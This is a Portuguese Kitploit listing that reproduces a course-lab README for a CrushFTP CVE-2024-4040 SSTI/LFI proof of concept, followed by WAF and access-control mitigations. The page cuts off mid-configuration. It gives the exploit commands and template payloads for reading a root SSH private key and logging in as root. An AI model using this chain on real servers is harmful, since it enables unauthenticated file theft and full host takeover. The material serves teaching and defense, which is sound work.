Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CrushFTP-SSTI-LFI-Proof-of-Concept — Prova de conceito para CVE-2024-4040 (CrushFTP SSTI -> LFI não autenticado) em ambiente de laboratório CS443 controlado - apenas para uso educacional/autorizado. | Kitploit
Ferramentas/GitHubGitHub/cthhhhhh/crushftp-ssti-lfi-proof-of-concept
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebCTFTestes de PenetraçãoAprendizado e EducaçãoLabs e Prática
GitHubcthhhhhh/crushftp-ssti-lfi-proof-of-concept

CrushFTP-SSTI-LFI-Proof-of-Concept

Prova de conceito para CVE-2024-4040 (CrushFTP SSTI -> LFI não autenticado) em ambiente de laboratório CS443 controlado - apenas para uso educacional/autorizado.

Ver Repositório
5há 4 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2024-4040 — Prova de Conceito SSTI / LFI do CrushFTP

Apenas para fins educacionais e uso laboratorial autorizado.
CS443 Segurança de Software e Sistemas — ambiente Docker local controlado.


Resumo da Vulnerabilidade

CampoDetalhe
CVECVE-2024-4040
Software AfetadoCrushFTP < 10.7.1 (branch v10) / < 11.1.0 (branch v11)
Tipo de VulnerabilidadeInjeção de Template no Lado do Servidor (SSTI) → Leitura de Arquivos Local Não Autenticada
Pontuação CVSS9.8 Crítica
ImpactoAtacantes não autenticados podem ler arquivos arbitrários do sistema de arquivos do servidor

O WebInterface do CrushFTP avalia expressões de template no parâmetro path do comando zip sem sanitização. Um atacante não autenticado pode obter cookies de sessão anônimos e, em seguida, usar esses cookies para passar payloads de template ({working_dir}, <INCLUDE>…</INCLUDE>) que o servidor avalia e retorna — permitindo leitura arbitrária de arquivos no host.


Ambiente de Laboratório

ComponenteValor
Alvohttp://localhost:8080
Versão Base do CrushFTP do PoC10.3.0 (intencionalmente vulnerável)
Ambiente de Teste da Mitigação 3Contêiner separado executando CrushFTP 11.x (branch corrigida)
Porta SSH (contêiner)2222 → 22
Credenciais de Adminadmin / admin
Runtime do ContêinerDocker (Compose)

Pré-requisitos

pip install requests rich

Scripts

ScriptFontePropósito
crushed.pyStuub/CVE-2024-4040-SSTI-LFI-PoCExploração completa SSTI/LFI — roubo de sessão, leitura arbitrária de arquivos
recon.pyEste repositórioDetecção de versão, teste SSTI ao vivo, confirmação de vulnerabilidade

Passo a Passo da Prova de Conceito

Passo 1 — Iniciar o Laboratório

docker-compose up -d

Aguarde aproximadamente 10 segundos para o CrushFTP inicializar completamente antes de executar os scripts. Nenhuma etapa separada de reconhecimento é necessária aqui porque o crushed.py já verifica se a exploração é possível durante a execução.


Passo 2 — Roubar Chave Privada SSH via LFI

python crushed.py -t http://localhost:8080 -l /root/.ssh/id_rsa

O script irá:

  1. Obter uma sessão anônima CrushAuth / currentAuth do /WebInterface/
  2. Usar SSTI para confirmar a avaliação do template e vazar o nome do host do servidor
  3. Usar {working_dir} para resolver o diretório de instalação do CrushFTP
  4. Usar <INCLUDE>/root/.ssh/id_rsa</INCLUDE> para ler o arquivo alvo
  5. Imprimir o conteúdo bruto do arquivo na saída padrão

Copie o bloco da chave privada da saída (tudo desde -----BEGIN OPENSSH PRIVATE KEY----- até -----END OPENSSH PRIVATE KEY-----).


Passo 3 — Salvar a Chave Roubada

cat > stolen_id_rsa << 'EOF'
-----BEGIN OPENSSH PRIVATE KEY-----
<cole a chave da saída>
-----END OPENSSH PRIVATE KEY-----
EOF

chmod 600 stolen_id_rsa

Passo 4 — SSH para o Contêiner como Root

ssh -i stolen_id_rsa root@localhost -p 2222 -o StrictHostKeyChecking=no

Passo 5 — Confirmar Acesso Root

whoami
# Esperado: root

id
# Esperado: uid=0(root) gid=0(root) groups=0(root)

hostname
# Esperado: <id_do_contêiner>

Diagrama da Cadeia de Ataque

Atacante não autenticado
        │
        ▼
GET /WebInterface/          ← obtém cookies anônimos CrushAuth + currentAuth
        │
        ▼
POST /WebInterface/function/
  ?command=zip
  &path={hostname}          ← SSTI confirmado — template avaliado pelo servidor
        │
        ▼
POST /WebInterface/function/
  ?command=zip
  &path={working_dir}       ← vaza o caminho absoluto de instalação
        │
        ▼
POST /WebInterface/function/
  ?command=zip
  &path=<INCLUDE>/root/.ssh/id_rsa</INCLUDE>   ← leitura arbitrária de arquivo
        │
        ▼
SSH -i stolen_id_rsa root@localhost -p 2222    ← shell root completo

Problemas Conhecidos Principais no crushed.py

ProblemaLocalizaçãoDetalhes
Dependência ausenteLinhas 6–9Requer pip install rich antes de executar
Parsing XML frágilLinhas 86, 140Falha em respostas do servidor que não são XML; sem tratamento de ParseError
Regex de token muito restritivaLinhas 160–161Padrão CrushAuth=…; currentAuth=… pode não corresponder a todos os formatos de sessions.obj
Apenas HTTP 404Linha 53Captura de cookie só funciona em 404; falha silenciosamente em outros códigos de status

Estratégias de Mitigação

Mitigação 1 — Firewall de Aplicação Web (NGINX + ModSecurity)

Visão Geral

Um WAF atua como um proxy reverso que inspeciona o tráfego HTTP/S de entrada antes de chegar ao CrushFTP. Usando NGINX com ModSecurity, requisições maliciosas que exploram o CVE-2024-4040 são bloqueadas na borda da rede sem modificar o próprio CrushFTP.

Como Mitiga o CVE-2024-4040

  • Bloqueia padrões de path traversal (por exemplo, ../, %2e%2e) nas URIs e cookies das requisições
  • Impede que requisições de fuga do VFS não autenticadas cheguem ao CrushFTP
  • Registra e nega payloads suspeitos antes que atinjam a aplicação

Configuração Docker

Use Mitigação 1/docker-compose.yaml:

services:
  crushftp:
    build: .
    expose:
      - "8080"
    ports:
      - "2222:22"

  nginx:
    image: nginx:latest
    ports:
      - "8080:80"
    volumes:
      - ./nginx.conf:/etc/nginx/nginx.conf
    depends_on:
      - crushftp

Configuração NGINX

Use Mitigação 1/nginx.conf:

worker_processes 1;

events {
    worker_connections 1024;
}

http {
    # Ativar ModSecurity
    modsecurity on;
    modsecurity_rules_file /etc/modsecurity.d/setup.conf;

    upstream crushftp {
        server crushftp:8080;
    }

    server {
        listen 80;
        server_name localhost;

        # Proxy de todo o tráfego para o CrushFTP
        location / {
            proxy_pass http://crushftp;
            proxy_set_header Host $host;
            proxy_set_header X-Real-IP $remote_addr;
            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
            proxy_set_header X-Forwarded-Proto $scheme;
        }

        # Retornar 403 para requisições bloqueadas
        error_page 403 /403.html;
        location = /403.html {
            return 403 '{"error": "Requisição bloqueada pelo WAF"}';
        }
    }
}

Fluxo de Tráfego

Atacante -> NGINX WAF (porta 80) -> bloqueia malicioso -> 403 Forbidden
                             -> encaminha limpo -> CrushFTP:8080

Limitações

  • Não corrige a causa raiz - o CrushFTP permanece vulnerável se o WAF for contornado
  • Requer atualizações de regras à medida que atacantes desenvolvem técnicas de ofuscação

Mitigação 2 — Desabilitar Acesso de Usuário Anônimo

Visão Geral

O CVE-2024-4040 é explorável sem autenticação. Neste laboratório, o acesso anônimo é bloqueado na camada do NGINX exigindo um cabeçalho Authorization antes de encaminhar rotas sensíveis ao CrushFTP.

Como Mitiga o CVE-2024-4040

  • Scripts de exploração como crushed.py dependem de acesso não autenticado; requisições sem credenciais são rejeitadas com 401
  • Requisições para /WebInterface/ e / são negadas a menos que dados de autenticação estejam presentes
  • Reduz a exposição de endpoints vulneráveis a usuários não autenticados

Configuração Docker (Exata do Mitigação 2/docker-compose.yaml)

services:
  crushftp:
    build: .
    expose:
      - "8080"
    ports:
      - "2222:22"

  nginx:
    image: nginx:latest
    ports:
      - "8080:80"
    volumes:
      - ./nginx.conf:/etc/nginx/nginx.conf
    depends_on:
      - crushftp

Política NGINX (Exata do Mitigação 2/nginx.conf)

events {}
http {
  server {
    listen 80;
Baixar ferramenta